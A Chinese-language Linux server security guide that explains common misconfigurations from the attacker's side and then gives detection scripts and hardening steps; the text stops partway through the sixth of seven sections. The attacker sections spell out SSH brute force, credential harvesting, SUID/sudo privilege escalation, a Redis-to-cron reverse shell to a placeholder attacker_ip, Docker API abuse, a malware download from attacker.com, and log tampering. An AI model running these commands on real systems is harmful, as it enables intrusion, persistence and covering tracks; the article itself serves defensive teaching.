
在安全领域有一句话:“攻击者只需要找到一个漏洞,而防御者需要保护所有入口。” 作为运维工程师,我们每天都在和服务器打交道,但很多人对安全配置的重要性认识不足,认为"内网没事"、“防火墙挡着呢”。
本文将以攻击者的视角,深入剖析 7 个最常见的 Linux 服务器配置漏洞。这些漏洞不是理论上的可能性,而是我在真实的渗透测试和安全审计中反复遇到的"常客"。通过了解攻击者如何利用这些漏洞,你将更深刻地理解为什么要做好这些配置,以及如何正确地加固它们。
一、漏洞一:SSH 配置不当
2.1 漏洞描述
SSH 是服务器管理的"大门",配置不当就像大门没上锁。我在渗透测试中,SSH 暴力破解和密钥窃取是最常用的初始入侵手段之一。
2.2 攻击者视角
◆ 2.2.1 攻击手法一:暴力破解
# 攻击者常用工具:Hydra
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target_ip
# 或使用 Medusa
medusa -h target_ip -u root -P passwords.txt -M ssh
为什么能成功:
- 允许 root 直接登录
- 没有登录失败次数限制
- 使用弱密码
◆ 2.2.2 攻击手法二:密钥窃取
# 攻击者在已入侵的机器上搜索 SSH 私钥
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
# 检查 known_hosts 找到其他可跳转的服务器
cat ~/.ssh/known_hosts
# 利用窃取的私钥横向移动
ssh -i stolen_key.pem user@internal_server
◆ 2.2.3 攻击手法三:SSH Agent 劫持
# 攻击者劫持正在运行的 SSH Agent
export SSH_AUTH_SOCK=$(ls /tmp/ssh-*/agent.* 2>/dev/null | head -1)
ssh-add -l # 列出已加载的密钥
ssh user@another_server # 无需密码直接登录
2.3 漏洞检测
#!/bin/bash
# SSH 安全配置检测脚本
echo "=== SSH 安全配置检查 ==="
# 检查 root 登录
ROOT_LOGIN=$(grep "^PermitRootLogin" /etc/ssh/sshd_config | awk '{print $2}')
if [ "$ROOT_LOGIN" != "no" ] && [ "$ROOT_LOGIN" != "prohibit-password" ]; then
echo "[危险] 允许 root 密码登录: $ROOT_LOGIN"
else
echo "[安全] root 登录配置: $ROOT_LOGIN"
fi
# 检查密码认证
PASS_AUTH=$(grep "^PasswordAuthentication" /etc/ssh/sshd_config | awk '{print $2}')
if [ "$PASS_AUTH" == "yes" ]; then
echo "[警告] 允许密码认证,建议使用密钥认证"
else
echo "[安全] 密码认证已禁用"
fi
# 检查 SSH 端口
SSH_PORT=$(grep "^Port" /etc/ssh/sshd_config | awk '{print $2}')
if [ -z "$SSH_PORT" ] || [ "$SSH_PORT" == "22" ]; then
echo "[警告] 使用默认端口 22,建议修改"
else
echo "[安全] SSH 端口: $SSH_PORT"
fi
# 检查空密码登录
EMPTY_PASS=$(grep "^PermitEmptyPasswords" /etc/ssh/sshd_config | awk '{print $2}')
if [ "$EMPTY_PASS" == "yes" ]; then
echo "[危险] 允许空密码登录"
else
echo "[安全] 空密码登录已禁用"
fi
# 检查 SSH 协议版本
PROTOCOL=$(grep "^Protocol" /etc/ssh/sshd_config | awk '{print $2}')
if [ "$PROTOCOL" == "1" ] || [ "$PROTOCOL" == "1,2" ]; then
echo "[危险] 使用不安全的 SSH 协议版本 1"
else
echo "[安全] SSH 协议版本配置正确"
fi
2.4 加固方案
◆ 2.4.1 SSH 配置文件加固
# /etc/ssh/sshd_config 推荐配置
# 禁止 root 直接登录
PermitRootLogin no
# 或者只允许密钥登录
# PermitRootLogin prohibit-password
# 修改默认端口(选择 1024-65535 之间的端口)
Port 52222
# 只使用 SSH 协议 2
Protocol 2
# 禁用密码认证,只允许密钥认证
PasswordAuthentication no
PubkeyAuthentication yes
# 禁止空密码
PermitEmptyPasswords no
# 限制认证尝试次数
MaxAuthTries 3
# 设置登录超时
LoginGraceTime 30
# 禁用 X11 转发(如不需要)
X11Forwarding no
# 禁用 TCP 转发(如不需要)
AllowTcpForwarding no
# 禁用 Agent 转发(如不需要)
AllowAgentForwarding no
# 限制可登录的用户
AllowUsers deploy admin
# 设置空闲超时
ClientAliveInterval 300
ClientAliveCountMax 2
# 使用更安全的加密算法
Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521
# 记录更多日志
LogLevel VERBOSE
◆ 2.4.2 配置 Fail2Ban 防止暴力破解
# 安装 Fail2Ban
# CentOS/RHEL
sudo yum install -y epel-release
sudo yum install -y fail2ban
# Ubuntu/Debian
sudo apt update
sudo apt install -y fail2ban
# /etc/fail2ban/jail.local
[DEFAULT]
# 封禁时间(秒)
bantime = 3600
# 检测时间窗口(秒)
findtime = 600
# 最大失败次数
maxretry = 3
# 忽略的 IP(白名单)
ignoreip = 127.0.0.1/8 10.0.0.0/8
[sshd]
enabled = true
port = 52222 # 修改为你的 SSH 端口
filter = sshd
logpath = /var/log/auth.log # Ubuntu
# logpath = /var/log/secure # CentOS
maxretry = 3
bantime = 86400 # 24小时
# 启动 Fail2Ban
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
# 查看封禁状态
sudo fail2ban-client status sshd
◆ 2.4.3 SSH 密钥安全管理
# 生成强密钥(推荐 Ed25519)
ssh-keygen -t ed25519 -C "your_email@example.com"
# 或使用 RSA 4096 位
ssh-keygen -t rsa -b 4096 -C "your_email@example.com"
# 为私钥设置强密码保护
ssh-keygen -p -f ~/.ssh/id_ed25519
# 设置正确的权限
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_ed25519
chmod 644 ~/.ssh/id_ed25519.pub
chmod 600 ~/.ssh/authorized_keys
二、漏洞二:弱密码和凭据管理不当
3.1 漏洞描述
密码是最后一道防线,但也是最薄弱的环节。我见过太多服务器使用 admin123、root@123、公司名+年份 这样的"企业级弱密码"。
3.2 攻击者视角
◆ 3.2.1 密码喷洒攻击
# 攻击者使用少量常见密码尝试大量用户
# 避开账户锁定策略
for user in $(cat users.txt); do
echo "Trying $user:Company2024"
sshpass -p 'Company2024' ssh -o StrictHostKeyChecking=no $user@target 2>/dev/null && echo "SUCCESS: $user"
sleep 3 # 避免触发速率限制
done
◆ 3.2.2 凭据收集
# 攻击者在已入侵的服务器上搜索密码
# 搜索配置文件中的密码
grep -r "password" /etc/ 2>/dev/null
grep -r "passwd" /var/www/ 2>/dev/null
grep -rni "password\s*=" . 2>/dev/null
# 搜索历史命令中的密码
cat ~/.bash_history | grep -i "password\|passwd\|pwd\|mysql.*-p"
# 搜索环境变量
env | grep -i "pass\|key\|secret\|token"
# 搜索数据库连接配置
find /var/www -name "*.php" -exec grep -l "mysql_connect\|mysqli" {} \;
find /var/www -name "*.env" -exec cat {} \;
# 搜索 .git 目录中的敏感信息
find / -name ".git" -type d 2>/dev/null
git log --all --oneline -- "*password*" "*secret*" "*.env"
◆ 3.2.3 哈希破解
# 获取 /etc/shadow 后离线破解
# 使用 John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt shadow_file
# 使用 Hashcat(GPU 加速)
hashcat -m 1800 -a 0 shadow_hashes.txt wordlist.txt
3.3 漏洞检测
#!/bin/bash
# 密码策略检查脚本
echo "=== 密码安全配置检查 ==="
# 检查密码复杂度策略(PAM)
if [ -f /etc/security/pwquality.conf ]; then
echo "[检查] pwquality.conf 配置:"
grep -E "^(minlen|dcredit|ucredit|lcredit|ocredit|minclass)" /etc/security/pwquality.conf
else
echo "[警告] 未找到 pwquality.conf,可能未配置密码复杂度策略"
fi
# 检查密码过期策略
echo ""
echo "[检查] 密码过期策略 (/etc/login.defs):"
grep -E "^(PASS_MAX_DAYS|PASS_MIN_DAYS|PASS_WARN_AGE)" /etc/login.defs
# 检查是否有用户永不过期
echo ""
echo "[检查] 密码永不过期的用户:"
for user in $(awk -F: '$3 >= 1000 {print $1}' /etc/passwd); do
expire=$(chage -l $user 2>/dev/null | grep "Password expires" | cut -d: -f2)
if [ "$expire" == " never" ]; then
echo " - $user: 密码永不过期"
fi
done
# 检查空密码用户
echo ""
echo "[检查] 空密码用户:"
awk -F: '($2 == "" || $2 == "!") && $1 != "root" {print " - "$1}' /etc/shadow 2>/dev/null
# 检查 root 以外的 UID 为 0 的用户
echo ""
echo "[检查] UID 为 0 的用户:"
awk -F: '$3 == 0 {print " - "$1}' /etc/passwd
3.4 加固方案
◆ 3.4.1 配置密码复杂度策略
# Ubuntu/Debian
sudo apt install -y libpam-pwquality
# CentOS/RHEL
sudo yum install -y pam_pwquality
# /etc/security/pwquality.conf
# 最小密码长度
minlen = 14
# 至少包含 1 个数字
dcredit = -1
# 至少包含 1 个大写字母
ucredit = -1
# 至少包含 1 个小写字母
lcredit = -1
# 至少包含 1 个特殊字符
ocredit = -1
# 至少包含 3 类字符
minclass = 3
# 新密码与旧密码至少有 5 个字符不同
difok = 5
# 禁止使用用户名作为密码
usercheck = 1
# 禁止回文密码
gecoscheck = 1
# 拒绝包含字典单词的密码
dictcheck = 1
◆ 3.4.2 配置密码过期策略
# /etc/login.defs
PASS_MAX_DAYS 90 # 密码最长有效期 90 天
PASS_MIN_DAYS 7 # 密码最短使用期 7 天(防止立即改回原密码)
PASS_WARN_AGE 14 # 密码过期前 14 天警告
# 对现有用户应用策略
for user in $(awk -F: '$3 >= 1000 {print $1}' /etc/passwd); do
chage -M 90 -m 7 -W 14 $user
done
# 查看用户密码信息
chage -l username
◆ 3.4.3 配置密码历史
# /etc/pam.d/system-auth 或 /etc/pam.d/common-password
password requisite pam_pwquality.so retry=3
password required pam_pwhistory.so remember=12 use_authtok
password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok
◆ 3.4.4 敏感凭据管理
# 使用环境变量或 Secret 管理工具,而不是明文配置
# 1. 使用 .env 文件(确保不提交到版本控制)
echo ".env" >> .gitignore
chmod 600 .env
# 2. 使用 HashiCorp Vault
vault kv put secret/database password="very-secure-password"
# 3. 使用 AWS Secrets Manager、GCP Secret Manager 等云服务
# 4. 禁止在命令行中直接输入密码
# 错误示范
mysql -u root -pMyPassword # 密码会出现在进程列表和历史记录中
# 正确示范
mysql -u root -p # 交互式输入密码
mysql --defaults-extra-file=/root/.my.cnf # 使用配置文件
三、漏洞三:权限配置不当
4.1 漏洞描述
Linux 的权限模型是安全的基石,但配置不当就会变成"瑞士奶酪"——到处都是洞。最常见的问题包括:SUID/SGID 滥用、目录权限过松、sudo 配置不当。
4.2 攻击者视角
◆ 4.2.1 SUID 提权
# 攻击者搜索 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 常见的可利用 SUID 程序
# 如果 find 有 SUID 位
find . -exec /bin/sh -p \; -quit
# 如果 vim 有 SUID 位
vim -c ':!/bin/sh'
# 如果 nmap 有 SUID 位(旧版本)
nmap --interactive
!sh
# 如果 python 有 SUID 位
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
GTFOBins:攻击者经常参考的 SUID 提权技巧集合(https://gtfobins.github.io/)
◆ 4.2.2 sudo 配置利用
# 检查当前用户的 sudo 权限
sudo -l
# 常见的可利用 sudo 配置
# (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh'
# (ALL) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit
# (ALL) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/sh")}'
# (ALL) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
!/bin/sh
# (ALL) NOPASSWD: /usr/bin/env
sudo env /bin/sh
◆ 4.2.3 敏感文件权限利用
# 检查敏感文件的权限
ls -la /etc/passwd /etc/shadow /etc/sudoers
# 如果 /etc/passwd 可写,添加一个 root 用户
# 生成密码哈希
openssl passwd -1 -salt evil password123
# 写入 /etc/passwd
echo 'evil:$1$evil$H...//:0:0::/root:/bin/bash' >> /etc/passwd
# 如果 /etc/shadow 可读,离线破解密码
cat /etc/shadow
# 如果某些脚本 world-writable
find /etc/cron* -perm -0002 -type f 2>/dev/null
# 可以修改定时任务脚本来执行恶意代码
4.3 漏洞检测
#!/bin/bash
# 权限配置安全检查脚本
echo "=== 权限配置安全检查 ==="
# 检查危险的 SUID 文件
echo ""
echo "[检查] 异常的 SUID 文件:"
DANGEROUS_SUID="vim|vi|nano|find|awk|sed|perl|python|ruby|php|node|less|more|bash|sh|zsh|env|time|strace"
find /usr -perm -4000 -type f 2>/dev/null | grep -E "$DANGEROUS_SUID" | while read f; do
echo " [危险] $f"
done
# 检查 world-writable 的敏感目录
echo ""
echo "[检查] world-writable 的系统目录:"
find /etc /usr /var -type d -perm -0002 2>/dev/null | while read d; do
echo " [警告] $d"
done
# 检查敏感文件权限
echo ""
echo "[检查] 敏感文件权限:"
for file in /etc/passwd /etc/shadow /etc/sudoers /etc/ssh/sshd_config; do
if [ -f "$file" ]; then
perms=$(stat -c "%a" $file)
owner=$(stat -c "%U:%G" $file)
echo " $file: $perms ($owner)"
fi
done
# 检查 /etc/shadow 是否可被非 root 用户读取
if [ -r /etc/shadow ]; then
if [ "$(id -u)" -ne 0 ]; then
echo " [危险] /etc/shadow 可被当前用户读取"
fi
fi
# 检查 sudoers 配置
echo ""
echo "[检查] sudo NOPASSWD 配置:"
grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null | grep -v "^#" | while read line; do
echo " $line"
done
# 检查无密码用户
echo ""
echo "[检查] /etc/passwd 中 shell 为 /bin/bash 的用户:"
awk -F: '$7 ~ /bash/ {print " - "$1": UID="$3", GID="$4}' /etc/passwd
4.4 加固方案
◆ 4.4.1 清理不必要的 SUID/SGID
# 查找所有 SUID/SGID 文件
find / -perm /6000 -type f -exec ls -la {} \; 2>/dev/null
# 移除不必要的 SUID 位
chmod u-s /usr/bin/dangerous_program
chmod g-s /usr/bin/dangerous_program
# 常见的不应有 SUID 的程序
for prog in vim vi nano nmap perl python python3 ruby php find less more awk; do
path=$(which $prog 2>/dev/null)
if [ -n "$path" ] && [ -u "$path" ]; then
echo "Removing SUID from $path"
chmod u-s "$path"
fi
done
◆ 4.4.2 配置安全的 sudoers
# /etc/sudoers 推荐配置(使用 visudo 编辑)
# 默认设置
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults logfile="/var/log/sudo.log"
Defaults log_input, log_output
Defaults passwd_tries=3
Defaults passwd_timeout=1
# 禁止 root 登录
Defaults !rootpw
# 用户组权限(最小权限原则)
# 运维人员组:只允许特定命令
%ops ALL=(ALL) /usr/bin/systemctl restart nginx, /usr/bin/systemctl restart php-fpm
%ops ALL=(ALL) /usr/bin/tail -f /var/log/nginx/*
# 开发人员组:只允许部署相关命令
%devs ALL=(deploy) NOPASSWD: /home/deploy/scripts/deploy.sh
# 管理员组:需要密码的完全权限
%admins ALL=(ALL) ALL
◆ 4.4.3 设置正确的文件权限
# 关键文件权限设置
chmod 644 /etc/passwd # 所有人可读
chmod 600 /etc/shadow # 仅 root 可读
chmod 600 /etc/gshadow # 仅 root 可读
chmod 644 /etc/group # 所有人可读
chmod 440 /etc/sudoers # root 和 sudo 组可读
chmod 700 /root # 仅 root 可访问
# SSH 目录权限
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
chmod 600 ~/.ssh/id_*
chmod 644 ~/.ssh/*.pub
# Web 目录权限
chown -R www-data:www-data /var/www
chmod -R 755 /var/www # 目录
find /var/www -type f -exec chmod 644 {} \; # 文件
# 日志目录权限
chmod 750 /var/log
chmod 640 /var/log/auth.log
chmod 640 /var/log/syslog
◆ 4.4.4 设置 umask
# /etc/profile 或 /etc/login.defs
# 默认 umask 022 太宽松,建议改为 027 或 077
# 全局设置
echo "umask 027" >> /etc/profile
# 对于特别敏感的用户
echo "umask 077" >> /home/sensitive_user/.bashrc
四、漏洞四:服务端口和进程暴露
5.1 漏洞描述
每个开放的端口都是一个潜在的入侵入口。很多服务器运行着不必要的服务,或者将内部服务暴露到公网。
5.2 攻击者视角
◆ 5.2.1 端口扫描和服务识别
# 使用 nmap 进行端口扫描
nmap -sV -sC -O target_ip
# 快速扫描常见端口
nmap -F target_ip
# 全端口扫描
nmap -p- target_ip
# UDP 扫描
nmap -sU --top-ports 100 target_ip
常见的高危服务:
| 端口 |
服务 |
风险 |
| 21 |
FTP |
明文传输、匿名访问 |
| 23 |
Telnet |
明文传输、无加密 |
| 3306 |
MySQL |
弱密码、未授权访问 |
| 6379 |
Redis |
未授权访问、RCE |
| 27017 |
MongoDB |
未授权访问 |
| 9200 |
Elasticsearch |
未授权访问 |
| 2375 |
Docker |
未授权访问、直接获取 root |
◆ 5.2.2 Redis 未授权访问利用
# 检测 Redis 未授权访问
redis-cli -h target_ip ping
# 利用 Redis 写入 SSH 公钥
redis-cli -h target_ip
> CONFIG SET dir /root/.ssh
> CONFIG SET dbfilename "authorized_keys"
> SET x "\n\nssh-rsa AAAA...attacker_key...\n\n"
> SAVE
# 或利用 Redis 写入 Crontab
> CONFIG SET dir /var/spool/cron
> CONFIG SET dbfilename root
> SET x "\n*/1 * * * * bash -i > /dev/tcp/attacker_ip/4444 0>&1\n"
> SAVE
◆ 5.2.3 Docker API 未授权访问
# 检测 Docker API
curl http://target_ip:2375/version
# 利用 Docker API 获取 root shell
docker -H tcp://target_ip:2375 run -it -v /:/mnt alpine chroot /mnt sh
5.3 漏洞检测
#!/bin/bash
# 端口和服务安全检查
echo "=== 端口和服务安全检查 ==="
# 检查监听的端口
echo ""
echo "[检查] 当前监听的端口:"
ss -tulnp | grep LISTEN
# 检查监听 0.0.0.0 的高危服务
echo ""
echo "[检查] 监听所有接口的高危服务:"
DANGEROUS_PORTS="21|22|23|3306|5432|6379|27017|9200|2375|2376|5984|8080|8443"
ss -tulnp | grep LISTEN | grep "0.0.0.0" | grep -E ":($DANGEROUS_PORTS)" | while read line; do
echo " [警告] $line"
done
# 检查 Redis 配置
if [ -f /etc/redis/redis.conf ]; then
echo ""
echo "[检查] Redis 配置:"
bind=$(grep "^bind" /etc/redis/redis.conf)
requirepass=$(grep "^requirepass" /etc/redis/redis.conf)
protected=$(grep "^protected-mode" /etc/redis/redis.conf)
echo " bind: $bind"
echo " requirepass: ${requirepass:-未设置}"
echo " protected-mode: ${protected:-未设置}"
fi
# 检查 Docker 配置
if command -v docker &> /dev/null; then
echo ""
echo "[检查] Docker 配置:"
if ss -tulnp | grep -q ":2375"; then
echo " [危险] Docker API 在 2375 端口监听(无 TLS)"
fi
if [ -S /var/run/docker.sock ]; then
perms=$(ls -la /var/run/docker.sock | awk '{print $1}')
echo " Docker socket 权限: $perms"
fi
fi
# 检查 MySQL 配置
if [ -f /etc/mysql/mysql.conf.d/mysqld.cnf ] || [ -f /etc/my.cnf ]; then
echo ""
echo "[检查] MySQL 配置:"
bind_address=$(grep "bind-address" /etc/mysql/mysql.conf.d/mysqld.cnf /etc/my.cnf 2>/dev/null | tail -1)
echo " $bind_address"
fi
5.4 加固方案
◆ 5.4.1 关闭不必要的服务
# 检查所有启用的服务
systemctl list-unit-files --type=service --state=enabled
# 禁用不需要的服务
sudo systemctl disable --now telnet.socket
sudo systemctl disable --now rsh.socket
sudo systemctl disable --now rlogin.socket
sudo systemctl disable --now rexec.socket
sudo systemctl disable --now vsftpd # 如果不需要 FTP
# 卸载不需要的软件包
sudo apt remove --purge telnetd rsh-server
sudo yum remove telnet-server rsh-server
◆ 5.4.2 配置服务仅监听必要的接口
# Redis - 只监听本地
# /etc/redis/redis.conf
bind 127.0.0.1
requirepass "YourStrongPassword123!"
protected-mode yes
# MySQL - 只监听本地
# /etc/mysql/mysql.conf.d/mysqld.cnf
bind-address = 127.0.0.1
# MongoDB - 只监听本地并启用认证
# /etc/mongod.conf
net:
bindIp: 127.0.0.1
security:
authorization: enabled
# Elasticsearch - 只监听本地
# /etc/elasticsearch/elasticsearch.yml
network.host: 127.0.0.1
xpack.security.enabled: true
◆ 5.4.3 配置防火墙
# 使用 firewalld (CentOS/RHEL)
sudo firewall-cmd --permanent --set-default-zone=drop
sudo firewall-cmd --permanent --add-service=ssh
sudo firewall-cmd --permanent --add-port=80/tcp
sudo firewall-cmd --permanent --add-port=443/tcp
sudo firewall-cmd --reload
# 使用 ufw (Ubuntu/Debian)
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow ssh
sudo ufw allow http
sudo ufw allow https
sudo ufw enable
# 使用 iptables(更精细的控制)
# 默认策略:拒绝所有入站
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# 允许已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 允许本地回环
iptables -A INPUT -i lo -j ACCEPT
# 允许 SSH(限制来源 IP)
iptables -A INPUT -p tcp --dport 22 -s 10.0.0.0/8 -j ACCEPT
# 允许 HTTP/HTTPS
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# 保存规则
iptables-save > /etc/iptables/rules.v4
◆ 5.4.4 Docker 安全配置
# 禁止 Docker API 暴露到网络
# /etc/docker/daemon.json
{
"hosts": ["unix:///var/run/docker.sock"],
"tls": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem",
"tlsverify": true
}
# 限制 docker 组成员
# 只有受信任的用户才能加入 docker 组
getent group docker
五、漏洞五:日志和审计不足
6.1 漏洞描述
没有日志就像闭着眼睛开车——出了事故都不知道怎么发生的。很多服务器要么不记录日志,要么日志记录不全,要么日志没有保护和监控。
6.2 攻击者视角
◆ 6.2.1 清理入侵痕迹
# 攻击者清理日志的常见手法
# 清空日志文件(保留文件)
> /var/log/auth.log
> /var/log/syslog
> /var/log/messages
# 删除特定行
sed -i '/attacker_ip/d' /var/log/auth.log
# 清除 bash 历史
history -c
> ~/.bash_history
export HISTSIZE=0
# 修改文件时间戳(伪装)
touch -r /etc/passwd /tmp/malware
# 禁用日志服务
systemctl stop rsyslog
◆ 6.2.2 禁用审计
# 攻击者禁用 auditd
systemctl stop auditd
auditctl -e 0
# 清理审计日志
> /var/log/audit/audit.log
6.3 漏洞检测
#!/bin/bash
# 日志和审计配置检查
echo "=== 日志和审计配置检查 ==="
# 检查 rsyslog 服务
echo "[检查] rsyslog 服务状态:"
systemctl is-active rsyslog && echo " 运行中" || echo " [警告] 未运行"
# 检查审计服务
echo ""
echo "[检查] auditd 服务状态:"
if command -v auditctl &> /dev/null; then
systemctl is-active auditd && echo " 运行中" || echo " [警告] 未运行"
echo " 审计规则数量: $(auditctl -l 2>/dev/null | wc -l)"
else
echo " [警告] auditd 未安装"
fi
# 检查关键日志文件是否存在且有内容
echo ""
echo "[检查] 关键日志文件:"
for log in /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages; do
if [ -f "$log" ]; then
size=$(stat -c%s "$log" 2>/dev/null)
age=$(stat -c%Y "$log" 2>/dev/null)
now=$(date +%s)
days_old=$(( (now - age) / 86400 ))
echo " $log: ${size} bytes, 最后修改 ${days_old} 天前"
if [ "$size" -eq 0 ]; then
echo " [警告] 日志文件为空"
fi
else
echo " $log: 不存在"
fi
done
# 检查日志轮转配置
echo ""
echo "[检查] 日志轮转配置:"
if [ -f /etc/logrotate.conf ]; then
echo " logrotate.conf 存在"
grep -E "^(weekly|monthly|rotate|compress)" /etc/logrotate.conf
fi
# 检查远程日志配置
echo ""
echo "[检查] 远程日志配置:"
if grep -q "^\*.\*\s*@" /etc/rsyslog.conf /etc/rsyslog.d/*.conf 2>/dev/null; then
echo " [安全] 已配置远程日志服务器"
grep "^\*.\*\s*@" /etc/rsyslog.conf /etc/rsyslog.d/*.conf 2>/dev/null
else
echo " [警告] 未配置远程日志服务器"
fi
6.4 加固方案
◆ 6.4.1 配置完善的系统日志
# /etc/rsyslog.conf 推荐配置
# 高精度时间戳
$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat
$template CustomFormat,"%timegenerated% %HOSTNAME% %syslogtag%%msg%\n"
# 按设施和优先级分类记录
auth,authpriv.* /var/log/auth.log
*.*;auth,authpriv.none /var/log/syslog
kern.* /var/log/kern.log
mail.* /var/log/mail.log
cron.* /var/log/cron.log
user.* /var/log/user.log
local0.* /var/log/local0.log
# 发送到远程日志服务器(重要!)
*.* @@remote-log-server.example.com:514
# 使用 @@ 表示 TCP,@ 表示 UDP
◆ 6.4.2 配置 auditd 审计系统
# 安装 auditd
sudo apt install -y auditd audispd-plugins # Ubuntu/Debian
sudo yum install -y audit # CentOS/RHEL
# 启动并设置开机自启
sudo systemctl enable auditd
sudo systemctl start auditd
# /etc/audit/rules.d/audit.rules 推荐规则
# 删除所有现有规则
-D
# 设置缓冲区大小
-b 8192
# 设置失败模式(2 = panic,系统进入单用户模式)
-f 1
# 监控时间更改
-a always,exit -F arch=b64 -S adjtimex -S settimeofday -k time-change
-a always,exit -F arch=b64 -S clock_settime -k time-change
-w /etc/localtime -p wa -k time-change
# 监控用户/组更改
-w /etc/group -p wa -k identity
-w /etc/passwd -p wa -k identity
-w /etc/gshadow -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/security/opasswd -p wa -k identity
# 监控网络配置更改
-w /etc/hosts -p wa -k system-locale
-w /etc/sysconfig/network -p wa -k system-locale
-w /etc/sysconfig/network-scripts/ -p wa -k system-locale
# 监控登录相关文件
-w /var/log/faillog -p wa -k logins
-w /var/log/lastlog -p wa -k logins
-w /var/log/tallylog -p wa -k logins
# 监控会话初始化
-w /var/run/utmp -p wa -k session
-w /var/log/wtmp -p wa -k logins
-w /var/log/btmp -p wa -k logins
# 监控 sudoers 文件
-w /etc/sudoers -p wa -k scope
-w /etc/sudoers.d/ -p wa -k scope
# 监控系统管理操作
-w /sbin/insmod -p x -k modules
-w /sbin/rmmod -p x -k modules
-w /sbin/modprobe -p x -k modules
# 监控文件删除操作
-a always,exit -F arch=b64 -S unlink -S unlinkat -S rename -S renameat -F auid>=1000 -F auid!=4294967295 -k delete
# 监控 sudo 使用
-a always,exit -F arch=b64 -S execve -C uid!=euid -F euid=0 -k privilege_escalation
# 监控 SSH 配置
-w /etc/ssh/sshd_config -p wa -k sshd_config
# 使规则不可更改(需要重启才能修改规则)
-e 2
# 加载审计规则
sudo augenrules --load
sudo auditctl -l # 查看当前规则
◆ 6.4.3 日志保护
# 设置日志文件只能追加
chattr +a /var/log/auth.log
chattr +a /var/log/syslog
# 设置正确的权限
chmod 640 /var/log/auth.log
chmod 640 /var/log/syslog
chown root:adm /var/log/auth.log
chown root:adm /var/log/syslog
# 配置日志轮转
# /etc/logrotate.d/rsyslog
/var/log/auth.log
/var/log/syslog
{
rotate 52
weekly
missingok
notifempty
compress
delaycompress
sharedscripts
postrotate
/usr/lib/rsyslog/rsyslog-rotate
endscript
}
◆ 6.4.4 集中日志管理
# 使用 ELK Stack 或 Loki + Grafana
# Filebeat 配置示例 (/etc/filebeat/filebeat.yml)
filebeat.inputs:
-type: log
enabled: true
paths:
-/var/log/auth.log
-/var/log/syslog
-/var/log/audit/audit.log
fields:
type: system
output.elasticsearch:
hosts: ["https://elasticsearch:9200"]
username: "elastic"
password: "${ES_PASSWORD}"
ssl.verification_mode: full
六、漏洞六:缺乏系统加固
7.1 漏洞描述
默认安装的 Linux 系统有很多不安全的配置,包括:内核参数不安全、文件系统缺乏限制、缺少安全模块等。
7.2 攻击者视角
◆ 7.2.1 利用内核漏洞
# 检查内核版本,寻找已知漏洞
uname -r
# 著名的内核提权漏洞
# Dirty COW (CVE-2016-5195)
# Dirty Pipe (CVE-2022-0847)
# Polkit (CVE-2021-4034)
# 检查是否存在漏洞利用条件
cat /proc/sys/kernel/unprivileged_userns_clone # 非特权用户命名空间
cat /proc/sys/kernel/unprivileged_bpf_disabled # BPF 权限
◆ 7.2.2 利用 /tmp 执行
# 攻击者在 /tmp 目录编译和执行恶意程序
cd /tmp
wget http://attacker.com/malware.c
gcc malware.c -o malware
./malware
◆ 7.2.3 利用 Core Dump
# 某些情况下,Core Dump 可能包含敏感信息
# 检查是否启用
ulimit -c
# Core Dump 可能泄露内存中的密码、密钥等
7.3 漏洞检测
#!/bin/bash
# 系统加固检查脚本
echo "=== 系统加固检查 ==="
# 检查内核参数
echo ""
echo "[检查] 关键内核参数:"
params=(
"net.ipv4.ip_forward:0:IP转发"
"net.ipv4.conf.all.send_redirects:0:ICMP重定向"
"net.ipv4.conf.all.accept_redirects:0:接受ICMP重定向"
"net.ipv4.conf.all.accept_source_route:0:源路由"
"net.ipv4.conf.all.log_martians:1:记录可疑包"
"net.ipv4.tcp_syncookies:1:SYN Cookie"
"kernel.randomize_va_space:2:ASLR"
"kernel.exec-shield:1:Exec Shield"
"fs.suid_dumpable:0:SUID Core Dump"
)
for param in "${params[@]}"; do
IFS=':' read -r name expected desc <<< "$param"
actual=$(sysctl -n $name 2>/dev/null)
if [ "$actual" == "$expected" ]; then
echo " [OK] $desc ($name = $actual)"
else
echo " [警告] $desc ($name = $actual, 建议 $expected)"
fi
done
# 检查文件系统挂载选项
echo ""
echo "[检查] 关键分区挂载选项:"
for mount_point in /tmp /var/tmp /dev/shm; do
if mountpoint -q $mount_point 2>/dev/null; then
opts=$(findmnt -n -o OPTIONS $mount_point)
echo " $mount_point: $opts"
if ! echo "$opts" | grep -q "noexec"; then
echo " [警告] 缺少 noexec 选项"
fi
if ! echo "$opts" | grep -q "nosuid"; then
echo " [警告] 缺少 nosuid 选项"
fi
fi
done
# 检查 SELinux/AppArmor
echo ""
echo "[检查] 安全模块状态:"
if command -v getenforce &> /dev/null; then
status=$(getenforce)
echo " SELinux: $status"
if [ "$status" != "Enforcing" ]; then
